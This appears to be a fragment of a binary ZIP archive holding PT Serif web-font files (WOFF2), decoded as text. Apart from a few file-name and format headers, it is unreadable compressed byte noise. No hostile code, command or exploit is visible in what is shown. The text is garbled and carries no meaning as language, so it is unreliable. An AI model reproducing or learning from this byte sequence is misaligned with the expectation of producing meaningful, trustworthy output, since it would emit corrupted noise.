%B!Pv._zπ߫_<y͓n֍^#.J0ZcHo)Gt.J)r b؎T(9i&ѬX *Wpxbh&H&6+|'_	&唟:tq-)DP@Pdkp}(XJ;kGC&?aO(/dݸZ	r^HCM瞨{!0L̃x]$*@[Q-u$<J$/##e0'%_d믊G-wuVtb)y+19r㦸 U@RYLT5VGͯUIݺ[W[{ 1AHhnIeHwtMZ⍬Mلo-]#	֢&jdB :Bw5\<g[T'ryu>yɥITJ_@ir1yKXK5lmbfel!DZHNu	+ZL犄cΗ>8{0*>Q~?dV	٭DSxfZ>'^8 p,j!)yc<3s<bk!rv
6)ҏ;02NLD$3_siTAٟߥp2|9*I\Qj#cLUIOKiʤ=kU:#G^y2/Zm*u炋8\Dv@#A̗sC%fe"pmZ6 i~ρ @k[9M;m'Y`6WC:=. I*%YEﱩ&9GgFֵj\96;JՀx3<Mi=>m+<[Q-|V)Tc;#!^H^4!*=]1GX$k5c-Gh:7W~<%ȏ^=cIiAA}NA&5W}%f bWN1n[WÁ)xڻ]Op̾o(r}ksZ1@2!$tzVNw +!~P&mz~DoPTD&,Gr3ݬ0I{G}oF_v{q3Yn@
Pd;5E8j	Za[J(s6=`+D #ÜctՊYF^TrΧ	7W/gZ	HD~lA
)N09Rw+<E~a@f$ž/򢄒dKw`YU\ؤ`5֌_#mCL" (jV/iR892쉹KXɧ*qb6D3ӂH"$%$4fݰ(33yj1Qs6y}-Gl!`>'A<󙞋FwA<<G\Ք(q[8ݗFɅO	6XNXuWHM*>?%6Zk"
l. DRJ#k%sm$/9} 'NEd/fcXŠ{\oQh#G>&Tq>`lRJf~Gi
pyiN4 aϲ~swS`fr#Ilr>%{OPd#}dQyi·xϞd}IGsD\+24s}{>HL	y,/{6GY6x?Ogٕ5Xz[>pz.z<lQ.nǁ?i]*'8wZX0bO=oj`, hꭋ/!pl{'['	p950{q :TLR*PkV.Lއ>75gc\|$(a3"<<xwpx.&Ϋ'15ԩkWNiH~_H/?nNnl!DIuaa4|J|+f,"MƄk{5M^5*;JXF	K*yiKzpz`@A
:5^^OX`^(Gw'qmCO&`pBSHA$i~ɇi=B><Xl w!cN]&jb7HCa -+_Eraxwj6P3,-H`<e~?(Y3J|踫Xjd=EŻd#RFb^H<v8MhxK=5n !<c6'Rb0z\0 Yaz1	E$Kzp6,Ȫ9);yQ4L!3D22xP`Q|B^;.B,Tz'LG+9M
c:`ߒg~⏪h*¦83ZK}=$(J9bSJ.yu8CoC2nA1 9ݴ?ZeѪ5]naa4֎OpctST"P]SeA+D'3iS%IcI|zCwvҚoT~^16I#4jxj(Y:*n1:dy.nUgDL\#gA?pĦ0WDMlq8Մ=GWC,ߞdh-xc]KfZdL~'vn@Y46*FW]pXwfL}jaYoUH,!l䒍Lߩ	=FpF˕H_ roLZgE9rZV}rfGFƔɺ[QBꪚjmsj %P,qnw}46H9_ٍ4(rwg$Td62Lṉs dK%TjεCBy.H6䲁rm֤<P7aee Wa\+RbD-M\naIudǰO~#/v<&dI,t;K	nB]FQLE&Cl4cp8)-޵ ƻ7^<oEgVv4I2ֻH}
Z[OvRw7U厧} k~H.i+k%~/fe?dL4/H)$	d4Pt@97c.\
hJ} *ԙ$eT$渎mK6>7u빋χ $#0Y\Bpƥ2ќ몁xG^sK83-vq/V?qeUFԳΎo?hJSΦ_7Mܾso}MN!|cals Cb}0pGmrT6mdrv3PǯuOO|ey_,*Ѵ?i'>%%	ܦXrҦe`?꒨c4f:DS5.h	>TNQ/%$%jXX5xވ|ч]fI<x_q+%xSZ̿yDZ/<- x3;hm6G[ *(7eVV
hU:'QPO4-*/YsyBk.X;K ;'IXi,"q}6%31FŌ
X~EF-6qMhruj=|c,sG[:cmJۥڶV{X34ʇ+Sp=vS)ڴUgTgqlz'@RkquEMhcp떶m ∽=^$9$]BFꠥEL86ڮh2iw]NU10tTOkn[~yA3)n'e9`ثd.L1/v^qU{:O|$6Lf@VXdҍ5kp98o_6Tbn+om[p<, ԋj_vvfc-7ҏoߛ\tN$: juyMa@ɢ
3=Nx&
qXeI#!$mJh>7qڬM1#Tci%>z>TjR;p'F
F g~Ĭ>C9Ƞvźd^$]BZMݮl/ed#[tf}H VjL9^ʍsg
?^kv꒠C"WO{kN4GKs<{iY9٣=}Ho.	H=,`N؃k#ⲝaS:`Ujڟ&zBD ?Y1:AlurdC) NHҟ'M0B.uiiajL``^)tv(md"%-ꊬش:\<܎"9Ue%~@-렵AZàmۃJh?AJZn\َ7clLODcjTϠٴs}K=n8OMϳ^YRalcĞ3Ū7O=\blO'VL+[sY͏-Xm fhocҼ$wפ>-դ"Zm16 h@uC޺O:,Wb
s|͑NCNPօy{'Tn5ƵRy)+0w,6R:ȹ (x4+(	ɑSaw5DCbpd(1ԡ~7`T]ꨜ*ܑ6ߊRQPdI$|dԝ97ݥ+BfrE-L^Hy."S p1Aɥ2͂ƶh:Y&+/+3j,bDgӆCbsVcp>	wRѨ§Yvœص&Z2Td#Wv+JK<zxn~4*H$«/2[mbH;Wb3Bp䎜fྴ[8DTRYc#RZnJTmbP l+EG\O;
2d|Sj
}S&[?*kȘL@^mvU]c&0LRľ?}VF4ӽt@JEЃH4SPLu\:|d@V86"Is.Kr$ʗzp佯O;$߬okܬ7YˡfkG3f1)pFu΍~yz2hӫdHP'@@oOb2k-5e2'%xyٔ-%$8ж<F"dWpu銄ǟʗ5(&TbSZeޫF%!
k<{Qj"CD
3|#SD}3&3VWwBUb]|Tw3D!J1"Á_Ц95%o.6U(=ٌc1~Vyȧy1sl<עmKҽ,ȑ4Γ}<0N\$ZqN-DmbX9nsV({;[-6eHs~siȓUHVvDr#)e"rr8UOJޣ8]	axؖ3*I6Qj}i~cMM39ՋG.-iMfgQβ"dp@Ha1MaXҐQ
tP[Qs2hULUM'2zJ;gpWm.M2)IB&*CJď\hHyWs$yԇS]Rft"/6ވbq@WR"1싕%.속8|m5.Nv#:m`	+ii.@O<]sb\3=xJLoU5ڸwW}i0	kTĢ\Vk\?z
W"˛̈k2bMi6DzF%[F c1e9!au`EubH}LzRC}}98@*e(*:]2Ձ&,
)>a-:Y|ّx)3vr/tgĝ3[W?aOݶ*Wr=cYQ
24M?ү$}/|FAI5LC;s}aU/v\zىRF"A, Ѝc7~/-F?)1=tӳkZ _UV|A;p=z5i7F&+L7zeaߴz}A fYV`1XXnl2XF"r~|-
&tI'>"fG)[:<𞝺HXLù;>t|u8qJ 6_	|["mY"Hb4@&&kfOYOXQsxs;4Y+}Z2AsxEm\dE aFHӷh2#%:{N}AjKGZ[#.D+@=[d2;e9;Ϲej'V\9.'.[6ԚPj+~9pyP!P-3U|P[hy
[08`-Z("!49N=ĺl0j''Ƣ]prd<YFm,L4B|Y<#ſ{J|UJ}#_jJTi:Ej)6G؊kO1Db|Yf+9/\!9]PWր %֣ͅ'6qEUaCo)oIVi]FfSM
/IP;RMH4sb.h-5{b]Vj4)ǭzy*AF=hۡDgE.dƩ)R@
Q;Ǽ0:HH`K^GEE0o깡b ;YfRW9=kʣm͠`Rgڣ=^Wm=T/LUө'MW]Ԙb};wZa=E}nD(&qMZ~N\UXY/.)Un0x%2P)MbD6nG_Ӷ]Z6~ΐZz܌观k>09zG]q<zgνd	e^v-&_N##sֆ5ҾdAFK4~VҐ2	>KZWV$YQ&$p汣If@e	;m8OI<N#\VJXÆ}zU̔Tm=><CQU6I3-H1Q{Z\c4٨p\<@Ko(Drhg!=O}DY$Ux>jM[Amh-j"FxXbv -&(cw@So{DgLO9d@[xA G^Mp-n4wIj #_h(W\9C-[,$xU$H݅30v#@UWP]XAunr;` ܶ.T4zZb{fq]+447H0֩kEA/Q2&p	6_ƠI9哨Wͳ,w#v)R"<,Zj^ΰXINgJ.ͨWƳP.և: `][?@gIUg^eT)fVLΫrnK3k~J[v~xNvuۭ)G|eG&'Uw^
sY*$l܅#<+g`ER~3	IBLkt!="߿&joX᛿:XDtLJ,Y׶s;u5&苓qgk- 3
D	rɞ9)~	tUcu^EQ%qT%jUS+6ˈ_Qb2PP U.W}i_6_TU!vVʿ&UkuQ2|t/{	Ɯ6jb;B-TfMPAeMh(Ձf?*5틤;Bxv_:.j P6l*nF+Zh;厐=tB|
gHkSx&1`fE䘮SZZ`FiEH77"NE]BA@|97tVh4Kj:QHQFTX(Gk}.R؆ieQtNea~*B
uI:/H8;`bP+*07IJ丐nst-SxzۙeTo-kZAZ1Mעݪbڨxmv^sO̥[}=Th섍ZDzL[*7@8fv謌Q[k0@N'.G<rpS<Ġq
9@HAkc;FZKwDn:һQ*p'O{pPţLhXN[/hhٞ6<m3tqf-#S,Wa7- ,={vpB!&NCIFS^g+ !S6t|
q!].LKKLV[]p*/2~I^eXpKGdY;O:R'/z8&J.$ud{ɱҡξcԙI,_}hWAfv7ǻ	 Guvǅ&2xZ#Wuzi;a%u)iC7y1Q<(w{Lv*쵻;ul,mm[e=Iֵ[ibӖ<׿"`|HR2^dM_V:iͩSOSnw֡g,ǣ7lW/E"2Q¼G`^˩j 29jaMZQ!c]AidId涻KS1DA&
ޱ/p=u\u27@@$+~f$mB5J`ϓԽy[L`X!0+Lc[xǬ:0)/!o2[qGoҤ݂0/a&K4Y2N[^|t9&=e4kzr#L3t\Zd($׆
s)bZYFtsɯdI)y0cpYMѿw8,)3Ņ'3;pҚ79:&JrMpUIkUeQ,D+l&܄9*1QΆ 5_#"l"̤~jp>[.T#^TctqR@ (rYӥ^mM:و>f4[7aZ{$iZgXm9*WQlD~yFawn[X	W౲+4Ml[6y*@"p)6Gs4UNWfј'MB^k{Scg6j+IN{HK Mp">wu嬯CS2IP&]2౉MZ|*`ѺtNf.=3!O9qJ-P=}UXiQu^Zjղ]ftʕZ}QCMgg
lFMWC^:H{Pn0ΝXD]CۑxEo5hxdV: |
}`}9،	ɝPWUYC!]uGz(JG00g^`RLMGjaZyaUtӿav舅˷1\>#Sk'(WPB<+1ʝ2~@%%RO>cu}CA{_Ʉ@lWy1OVT+Z2#/opsFiTsr@Qn5bt6DgD,+)\/ k= ḇhI|:}4Ś6,n<z^2BFZ"v/XOIȋh9w` $?ig{JHӧx39oN^mͯE8IXSb	z^ik"
}ZTؒ	;8+>}YB|ۀ3 v v=%V2c&&KaU^מe4R\CCJ֋AȚI9-)߂(eg7jv:Gz}Tk<I*Ǎy@*;,N
YB,1HkШCj`8MN&lJ4I6bsDi՝d'7JJ(
:{"Y.[ ֩M7$kQj.%-J$+ġSc.s弍IIIY$iA"^j+I5}EښR/tyn<?*\<5t9>-	Rpq0x|P$HerRhuzd8Xl.n<{ C08Bc8<H"S4:bs<@(K2BRk:h2[6rJZFbN0+
@rʊ݂NbG((vSNqx:s	e\Hu "L(B*m37MPƅTXgn0,@	e-XkʸJ0iي a3Oc̟暿?cWj5d\mϖי_H#oC$Nc!~*IjB-82^<9l
'ӵ8O	$bQHs3Ɨ-<m
Dn,؈Y}&BQo;"wvhˍs5d\JvyX[Kt儷ͪsk#"^PK     N\&*:4I  4I  2  fonts/ptserif/EJRSQgYoZZY2vCFuvAnt66qcVyvHpA.woff2nu [        wOF2     I4       H                       ~` |*	
XF (6$0 6_z˝gmA1+3f՞wbg%1 "nn@B)ngڢ]GSz\6	ވEND[^^664˺ׅ|xByKou|1;n.N'm5f^Nxy~nr%ҡ	ӄխ%a>kqLOC|ʢƈBVmظ~~vVfa>)I3ѾdB$!3oD`M1c3svtun2n;53 	.'PTԨ6%}vt}wpf8`X}aJ#PhYHv@l$CZG@;d;,ɭN\R\$Gw4Z|t4.`*GU I/u]9DXʤ#$~2@R+u\sQP{uU,mnc(M.% $:aPij1䅢/l0n;ٜ3ds- e0ߚv&oS̔^K^UUֈ?o^_ RH
@ɣ=YZR*k|YӤ(!xЀ0&VymL hWi S P_Eggjݻp T2-':*!5
!U.U*(*1pƝ;݆Xv@|O@ *RFxF40a4rPr(C,}܅*(+}zD,6s=' H$m/TDU| fam/~ê)tr@;v	>Lxԃ2`
T7 |vk8 >Ə9Lq֎MuUl[`(P$E. @l:b}"Kyai'g>lPALO:ք4U`U۬w5>5cm~KkS
Ժ+85<+hF?tn}>#xqŴئwC6%@&7ltzl{3R@tF>XQc-/]MT|^^0fdf).)ji41g:߰y1P#
q$ .aGrbEyWd",9^%QPUP-݊'!dFsn"G؉ˑzـ|6#D8!6D^%x8 qN>"jkV`%Apdd2&ak|DJYsD槌2Ծw)&[Ic
*\ʲxPԠ16*ug;m3B"A Q(8)0kD"~05AЉ)/a}<J1Q%$?84F^ӵL:A-
{tkz<
C)EJ$ٕ2>qٖ0CCHFBD?3_URߟ}NFl%DϮvT)"DŁS#JBbuhYR;/@~	A"ԥ:ڿ)#6+-YlѼ9bv=i-uP]XwegGP`%LY)T⟌#Q({#-k)+]ɺ+/W"+=kR_fvL_ʥ⮳:5{zm=+Yc=uvsνB&xb
?1-lVe6KRשׂiN.,/ eo6 xD|~pT%SkK =',I,8g٢3 eO*XhrW'ՉRraA%S"UM~!hz?SMm(Әlo-^.IۅA|^\Y.׋onmg|Kqv3{;1&nuؚm;HAuu9;nX#6խ[>YyDw^>v9$Mj	Zd0kARE[F(n$6dӑ[s.ˌm6XۙU9%jI!N[L
KaO]97l)eSVrRs;y;NXʪirSVOO"bknTGX-"38(xw"h3>	2i_n5Ey  5d8UdIdSGR<UVƽ'2*}߇Co27aTR|A'ONd|
s!uӾ0i|xSWK`]@ecz[A&){wOXʀYJW~0MKtrA/KNYU-s;T;ܑo'7@BgZ`j/Jѵ>HRmvH"LF5%x_;>NfS`	,k7d);t뿴ׁPvZ]L8k.+UȌP$,9rq@pު\+jW7]m14j@wE"9)! tfHy DRsXP~G]	c MrnMxӑnJo`KBU6:yuzl Rg|
Vx3[}N$*b6;
|:+V=RFh,{=osD8rC-rM:;l_ϫD?i ؖ,d.:_aSPŤ6{ƅP*Msa "U	ӅeEcz<mӱ-gKmd`:C!bQqhB)]{ejn/`ǼwGZibޙfS!b`LFlxc$?FVgW9jB8Nbk*Β5Aa'*-Sjg飌a!o3c4tT*iVZN8<<81>ηY-d8vwʛ^9t)sa!DpP,;Z."zm$ѡ'Cb3CG@pH(tOىW  mm>zMV=-ǌdcҬ,$*:^tiR3G
)-T\_>h
 4-K2C~{Xm4Whiq<2
疈U		1 cɲh;wWRRpܿ\VUix4fi1]mnI|p^$VMa尞秎.ۍ; ~h$ki8 1Ӡ#wLfQY?~ĩ+aܒjA	0@ע&@٩]xu\{s{dRIxc0a
bl&k1ǁK\R/39 SCby/f[r+Pv W"#Q1kR#EXfחd@JI6
{xG41e>
~(&@&ǅ^Dx,
ghm5	DNUUrI1|7?qiq-5рJBF rf6}hL\V):t8:^_&	ee$I<]J%'1c0lG>cGgAL\ <6lxfFRdgNgҩ)x|p[p	kEgzsQRU^muUg3?a8)?w䃵5imอ/El	$Or Un2xvq߳mC)NˤRw,Da*ʎ"
B'b HީJ9 8L%i}#AȍϢ6u#~wQpzǟ{S0irx7'K3Ǖ1'7sPFmjeʶF*

kR׮Lladr9' '3x3-#7wYH^
zpE}ҨRT({giRR{yVE@co$$(K<2M< eA즂05xm_dg29cccfLz2lw*WHFZ5"| b_#KGdpγ {]V~LL:w52oZ3"FwXqrdrzCC?N?>iQ/^k7ggA%Nb$S~40ܨ	3;bwo}60!.a"ar|!%,[FNHߊlN|<IڀY+ojU<H\[>4{{MN?P%?%#MN$ҙ|	~mNԩ.dJ-9FGP&ȓI:·zSȒ}*5aq4b_h!-Y^	C1ftʹY*/.h>&lB-MXF-㆏gԲ`yܹiٳx,K8f:M(gFk6<D9aNU'Eh/
5<0)R-~u2cKHKƺq9>`/]iJ/tW0@7m+<,0\ѠݥLE:TjXيg[tcps!lyM-3mK8ti.b7^چE^^bRfAȡEJssόxw0dNz`0X@46$:Q &#;'?%X&SI|c5oXtNnީ(|qqF9o/~qА#5]gݤ9ǫM}$NnBbl2L~s}yUMNAi8NAi u%bpd#;|[#}.)t~V#QHP\Lkhoodq0&4ƈ-TڗgA[ci-''[+C2QKCg`ɿx`S3"iټ̩׽{D7~k'O:L^ȈCE
x8:]۴kC}r1ajIl%O2&='Ҽ߯n~[A;Wɻ7u{ "D$bYad]<"-tA;cE/KSGޜL^!{\Z|f!kGw2Ҍ1YTv<Lūd};!sPRK z59g@d",>-&aִ`8V2qBPg"c!3S7	]k#	~@|H94H8fFicJthIإ?F8B$e~4ZYP<u@=)
@_5=ow@sNXt0P@-Ӷ[(ڿ$x`̞
sTET=O*o%xZ138K%۴mo25Gz2uZTyf!ID-dZ^%uΑ%&iF	u~Lb(+w]f-#FulmGC?UOY͔p_^Lq>3	~\X]d~H6vuXP>g1LYzPwKԔpؔE!?'ĸxH%&?^N}(؁-<dGߦuOEJj=#E.sh[dδlfK&	$VOer]F{m[n3aC=Cΐu? Jc!Y^!k5'CF?ܓI$m[dN !,)ToC1lrm*R8~%~`PZߝ_	l@U/4njB*j|uv@L5=,V$m4Ve*L;}'6JeHWSI=<s720JOZ$gjNbm>rYm">	fgJjjLrRpw .x4@g)JXcE{76ZjBQM2emn(z)oJq1;g:~,//[qi5ǲ:|.;!!"۰@V`eȒAxbLJ!B2t+k{ӌ,-S{޿EUR}{tz9*KJ:RY6+kHcfotl g͝;5GL64OӿBg}@yA'搃[X_Q {hĶ5rQ| '׍P3K%:AE2|JV2dkZ=X'TՅ_O)`Ce3kyDU#6?5)ݪ𳿩v]kWQ|D"r>JD.i'6qXO0M۟+$T&C3fv?ؔ&4:W_Z$Ęw+O=:;1{Q i36fK݂P6;(gFt3 [$MMaUrɵ37%$*}K~ZA3{{ٗ@_vэ-TLINPZS٢RsT+S%Z0|.wqbHVi6qߊVk
DfmhS]&g$\t5C1&3VY^)ӈwO ]Brs){iIyfK1	.f
L1	Rl66ӕ5'VrerLyqI8O޶08N|3-槚Fjx.+l'1;uYk6@(yYC(O3sZHu*B/(7B[)V&O+grʘb[8[a"+If$ی-Xѵ$'Ԛ܉Fa0;v\ʹyJ\:Ov%S^rz\S
2􇆈8mb-T*Yt*3bR"+Y}DEy[@~
Z/}w7flt@eHptkYҠ{}Tqg`Cfި`a^pLg	Tܦ,UDv
܍nr95ĩ:8;d|Gow/lYJ|tWZ`>o0YX^X$<>aԁeU܌eF|dچL	ndA7A^[R5idǾ#ި[D6cl>mqv#wnd7}"f_3Ihb)߻x_غ!35b)K2Jh=( W9VU_	#`Ĕ;y[@	y"Lf@+Ֆ1o;4oBh#FؕLY j4DޔFLr:"9.Zr{i @8%64ի:ܱzb!	#TS@8jy/ZF	|w25bT3Q_	<\_*~m<Z4љ,[/_Qt8 VF1BHLkIj"x*w+X4uq>[[hi10#҉πqmAe$>.^"\5ciTAto^^U'd/  7F P7m \պ-13(3)%FM@rRM0
EsBYGV9;=v9.\/0#2<&~S#Y"K&ȁMXȷ<JxLskՂ|ݍCNZ 
6!8̟/1ƧZJ~<>EO^F]W̞B 8*NS@Y٫9hZ!WTpGܽq5)yTAfA/frtXY.;rS(z-_X)A_,2{Al	^ s+OY Q>Aoyt4VSBHX8)̴q!Ϳ"ޤSJ[njW?K:W0XBJ!'ʦr[\5P~5,j'`'	,\gI"@V I~הc_U@<@+r0JKt9
HcO"t:T3d5l|R+QF܀[(J`7 m*=T%4X3@&0`n*Som\.7яpy;|y'D'SDX\Lk_)0TøI "qjEW9Bڈ}	I9&54#I,3D<:rSZ[6R1l<blO`|0@Ȥ@>Mwsc%k>VpN1>OMjoOStjfwm-9M*բUl(\&«* ıQG.9Sha2j30À~yO!.yɌn[ 8rD` D
Or)ŭ%0sڶ0s3cq#YUK&mϧJwÜSOg4jyi$g]z=Y=RV3.34}FlGUvfd7Yv+2;f;?Dq<Q\҄c|>-M>%.txmbam<\FCs00KrC\nN뇜^T~!{t`"S݀)s'䬐A,؇@,}?{I@berhK1A1!87gg"ӝo5B׭"VghJ<,$Zv*!^Zs	4"}iYjC#VOA	2ElpH [DZmXzMQCtBak٩~:SZ/̛LSlĵ:ߴ]+r	;w+3\XE#OYei0L.֝ں9ρ ԷJOcWakp>`ZLUI} 2`ME"+"ȩ	9fMN.VlVMoŮ-ҭk7Ȝan#,g{=#A ~xٲ @R>2!VԼca(-˙BkB-~E qX;f0;s)~:u	h!^ߔeAEŁcH.omW%ku:=`ksjx%0O< C`V2ĂnqVv'հҗ|'CEzke5C
եSW/%W^]שin1U`3LP\J'5˿ڥr+bVE '?k~ޯ6^l8/5Vp9 -OrVP,[xtav-24wlt$Vy/-]i<r^R"\A.qv"AmLzM\r9Ȑ"j>͏-Yńs(v0dbȤ '!94d}
z`e3g%vjvܾ
(]/=xQ[Pc@y /o	g<2!<.p1r7#Ʀж*Xa9%[wVeI~ݣ䷽5Fu43}tgr&fxo(RLH*6OZpw7[#<6gO:O5~$!70H5^^"lT5%ҩvfM<tSgz/},?ʣB)r~䵌S} #$[>Vv@CCSa˟GzowHc'+\xatҬ,+2?r0 ᷷o&0ivRZ};omzPlpa@	+?V>и*}kn9{}"DJUvtpLB`T[ohz:XOWN8ٷ߱9otsNf})	k=Yi@<)W#6ػ29&T`>rU5Hev(^f:fY`iĜ}iUʇ#~m^$hxG{e깪V}5}7ܽ]"w~#+^B cЎHd!7ɝ~pCc2ͰS$q^0^mII-q^˞a;ZŹ)ݯ5G5BԆ|VC!qI;	mhvDܛ@J=iVA	iIҸRV=x2h2Ez0u;ҷDPqF)|'+!&NA{Yp*r,:\rizy@34F8@vaV M]qǞW	%$痚؈5T;1Sk99K끱u;ځ=uAo	mPEe14ZbסqM,i&k!bɮwB`5%0HtSzŵut%sV.m/_rRp6_DiJ1j-,+wg nRapەv1rKBAϼ/+g;3.RۄkEʧz:Ll8<_r闙2ܾsSFʲxHRŉpԿk((tC42'lWS-4zx.pQ!*zG=#)hs{k)X/YW-Z,J`3?y,@qk.O[=c#Tn׷5;[#,LvN~z=UХaA[({A{k;m"bJWmћCJ}gwg6(ƩrZj4_@w ugå\:<.\v^Ts?Sg8qssN0YKrxc-[J7TCX](uG8?R:`ԠiQE@OsAxvtDqU*t(zOEAsm}=Dn4c Ki>?8{DPíS -$"r]TMSҋVF@#*q&;] dgt>m0`Va+z'mJl`O%-<j4_':<xmt5Cx}k1@Y~o5"@ئ9.Y{)):437=	_;={x?E4%ލds{0ѾSP-$UȊj&xAy'RSQFwAgu됲4ƹ+@f	u8gQ,ߤq h..xw0`T.Nlr
lw5Cm*SJiǄs%63^<mqn|p)CK/zO	3eٓ]g;ꭵ=WP
sGta#8ȯ](=)\sTz]9?ijʹz8O/W.nEbUX F<c37B2d6t2L&=&0j8%<GV߯R7;\=v&>BFA}Hwnah9g)U;Vr|*!-$O!C_!0KW0iC4ߴƆ|ݢ|rT8gLʛĲd.c)3"G62,jP^2b4=.rPD,Sro2cƌMJĘ#O2}WAYrE  L6	Ӱii=c*V<:0n苣F|媷\=NVM	-rkm1dL3w!%zQ"Lj_1tO'SQMq_
1X<EI~y"D $;S	M$nD5qd F\]2
>ռ{*pUK$hރ8]6R/֡rl9[&BI( K!D$*uA2SJ\=:J#U/Qj\M뱪WC,l'{_AEyB0"'$8@ HLfΧ&[G}0 c6 o,$ix2GBW
(*`4DKpʪbMe)}TPҐ<+ kd&3>sޔer0(ޢ*AsL}d?L\bb,*Tf;5/>42Cf8 jMuYi>+;ގYDu-NwR_GAklhtF1£}D|_L^wC_/00slVC@"=xg^` z"|Y+mzG4vϿ
$5*fc2	 	e g | ~U09dlIIg<>@\˗dduKx0f_5.2e"@Ayw֍^nT|nOuOb}F;<D\B<>v^a	2em.^s=K@Cn&97#"ė\%΃;6Cx'쒛l;#t<p{h/#IdA.$pCa~u9CDlZ-1gh\| qտxx)5ca$-8VxJk;AEǨ}FptG0wvH %>)o?K؁JM;>Xڳ-3Zl	oxg_XW{F""""Yw	yLrY
(Gt`;5)-x{ᾌL?Q!??qotVTWX?9}[OpU!г3LgrxM%x n-Ü<T>RQPg
#dA<#n5{33#кw9+_!yCM$xM0')LU<=ڇ0?uai,+ǇUw~!8ڧ
n?;󿎃>[p0]8y@a!Z 2y^ ! 
!rαj;9 /0BB
M{c[[G'+U(P(|鑚tkjPO2|m3i9Ϥ`Zpy+rfMby-ByV	F?f%>lV!?QD4Ċ|7:He2RyGJvbZ򶎕dD\Z&rzM~a*"ψ=s#4
 cۨw1HG@P1$ai%;NGj8[S	Utgqf$D? (]~p8"vbzجj]-	.9Д}Im-h~
g{mtۆ4"J~{+f)u.M[%I(6%M	Na--ޗgnMqMnF]`ޅlU;Lmóϖb*?LZX=P KfL""[G8Yb«ssa`FJb6&7WFBSTQA%)X䨕?`-)I?HnCHpj|EwxDb}؏n>1C@>|4]QM  J7iM%NqĢˤ4	zC.\DL3RYZ#!iR5Q
a6	04࿻Mؐgsj0#;x8YI4Yp0Q%20İE6
1x(ņ6+ʩAxbG)dj⁚fcvL*֡bSYi
DQ,S>i(14oSIi'U1Oln?.Jj*l~>D-`;\BlXl:T*5VArQz>9bGVsPcuO>^e QBhLB<8PGmLNׅԘ8VJLsMٜ*ƶ(nxtd<-^gsWKE 0i	v4$!$![^Q:d&W();YW1lY=e s0CrRGvf_F G#^x8E.+0v  C*54X䑽MClC¥p٘%+/OcqU2\!S8+ҩ\A1DRL0L!Pټ^ww12]Dan&qKIYD!
fF	hJW9-;)9S+fjL??^mQUa+&^Dq8	r6362rB0Cz`yn{^M"gj?'x=g7Q(>N86d2=DT8Q	EelP
\<v۳)y\[3.Y+jv4ғKFRwb	aa;Yɠ>cRXiwj	ޞUSyg܅*V΍wo򞳜[WOE2e.ŅYNWkQ{#LCv)NV}HZC,gqPTѫP-Zgzv7Qñ4qߘlW?"d8nrVoew(^8Wr+^t¯Zg煇Y6}FdDɮ|lNlk|uS2|6ohY-ʍqONrOUPH}E	8P-2uik*@f5!wԎI4uF%\!F/""-I܇6>CQDDC-o%7S;=Q`%ezVn9A˽6}P:NdXg~NW1Zz<lR-=^|]~0^0ŗǓ7-TM~G3jGA[:yt_mr(.`3wik+l>^NIYJ<J
2x5C^ý.JoH7x0IB&yFʘ1̹@IF~2</g%W0)[,5(zA#xBfN[fA&q M~ p䠈-0tSzU׉D,7"'
}MY7T43bȕL44g Jfᖑ%֍Smo.;xYÔI?<K^	R)%i dsr=y-P$Z $8S&9fd`xYD[,Y4O?aZ(,
#-"͘iB}m{&@Ɇ6ShZssRVXiE_D[S1RRFPIp~J,"퇣 ,VbĞ2ʈͧR}}	/|=Wv.w/R ,J6rr+K PUyE
~Y-^㏒EKekX.]@ZӒm[q6ڲB5r2+7	yl}
)& AܴU2Ѧ4g86|;u\aXCw<ئuxa3E"o.EI1L]}:dćE5;czؒ7>8Zd/ȼ׳SNagP)w^kznv\<j(M|+ǜrQD^'xk631ΨrN{|i1uf! Y8(0p`\G&.7g	U9o4gw5`Ө*ܑ[I:8ڳ@^ї0=p3!k
NIc=LAy^j^|-*DHr[<=f&>KFܯfJJIQ
(LBHOD:6E.jcRBj	-M$FvThV$ 1jPPX!wbk2PBbƍcp¡o*\
N^@5S {U,x>0#`QQe-H^ j `2$_g5-B3m`ć0VURh b</eEò5HB*xD
xRv)FAuIB\Q+E(biQoU&5"3hLa8@\ekDD,Ȕ5@<QDDA8MU>8	&wyж
 (ß 	r>D7I(Y
;Ti?r_x>?bs1/)&krcR653U-4Z`̹\qQ~v$2J7whdlһm3sK+k=iYe;a'ie|?muniB}	}WHi͊CdV9`k+A6J<5zErv=Xi~kw=
ov;wVf39"Hx[C/ZMvL+@[54a6aeCd#1c`OFn}$a2H|#+>B0Cn3>S2RԢGNU,YK;`٪Ohv2d;`g`v4穷NmdI0=
xOvpZ!'[UQܘG< @apavǜ#>C 2ٖֻ~Ei	a`PB28 zbER#O8";,@ďHT>RM`HeGNX15$:jЅLCu{ IX 8 , PK     N\vU  U  .  fonts/ptserif/EJRVQgYoZZY2vCFuvAFSzr-tdg.woff2nu [        wOF2     U       UN                        ` d>	

 X6$ Jɥ'ضݭJ2a$FZL&rX.\*m?00KXU2dO%暂Inmo 'hA8{؉̗-[ƀͭm|KV{>^HsO> 1tHt~/BagO?rs_ 
H)q=a_%\bZv7\ɝm#soipr9/Y{XL#BsϕnfOhmRE*uk&oNÄ!a"@@  YC梻k2Tt۫/ͽz1bR,v^>괤f(A?q`p Xy~0QڊIfh005~s]ơʃ[1Dp'GwkbÍnэXyo7^<8`Ɇ,4m>P]鬆EJ[y>*
ҮuĤ
!̨[*^h+măeoC<BV̙f:ԙwr.~±HehBkb'OIySaR!X@R.	dgˎKl)=m2gXrc~iV0TĖ4@S Tu#gacD'D$'\<adr|@x7. H^\Ν[70B"@W6iH^b@RO=BEPFrHS:֭+ϵΕel-5K}!4Hu&FW$0U3$I/${I=g%G\-{'ïC?,8&aEK9X[+=ͯx6"@AcsPk;q!!r{Q~.q*@56aKS?iO@[HpDBa6\+pT|PA|ݶM[01R{ aübQh_wAXepP+О}=acdh3EPA{;iO"=\z绶F5W5KtV,1`;KxɞaZ_-z=תT{d`d+=RㆠtS1vWHl _?4JZn+*LH\VԡVSbDb..aBV{0Y	-[
%͏]*bͤM#Zi|5ĂivTb'/ ="G'zF`#{Ɇ]wkMgioMDf{GXXاT	筳< /s_*G{NV!;Etݶ.ul:ܙ۰Ȣuta=rr>K~˝#Lw);gSV]Wp}EmSKA)gVm9̃ڏLt(Z_/8ΰz?>_mB{c`aBE+N<^9p؉7Tԝ{KM-i46wIPb;pt 2ys&,H!5] 4BV_@Kqkt(B
[9 ;'Ev|[>Kې ;+4sExBeAkC	b*)A롺chNG |q3Ǝ!R̲Y?/	g#cTP7_^R`I%hKL	4md@.'ɛ(*oI*n|~dOO
'Ӑ8Ef6^1L;0ހEN; Dtѝ-y8t.y3Kj<yW޸:E=K?<UGi9wq)}+:D|.PXZ̼OVV1d|.gy`3	p*,0tʸ^>僘q}J
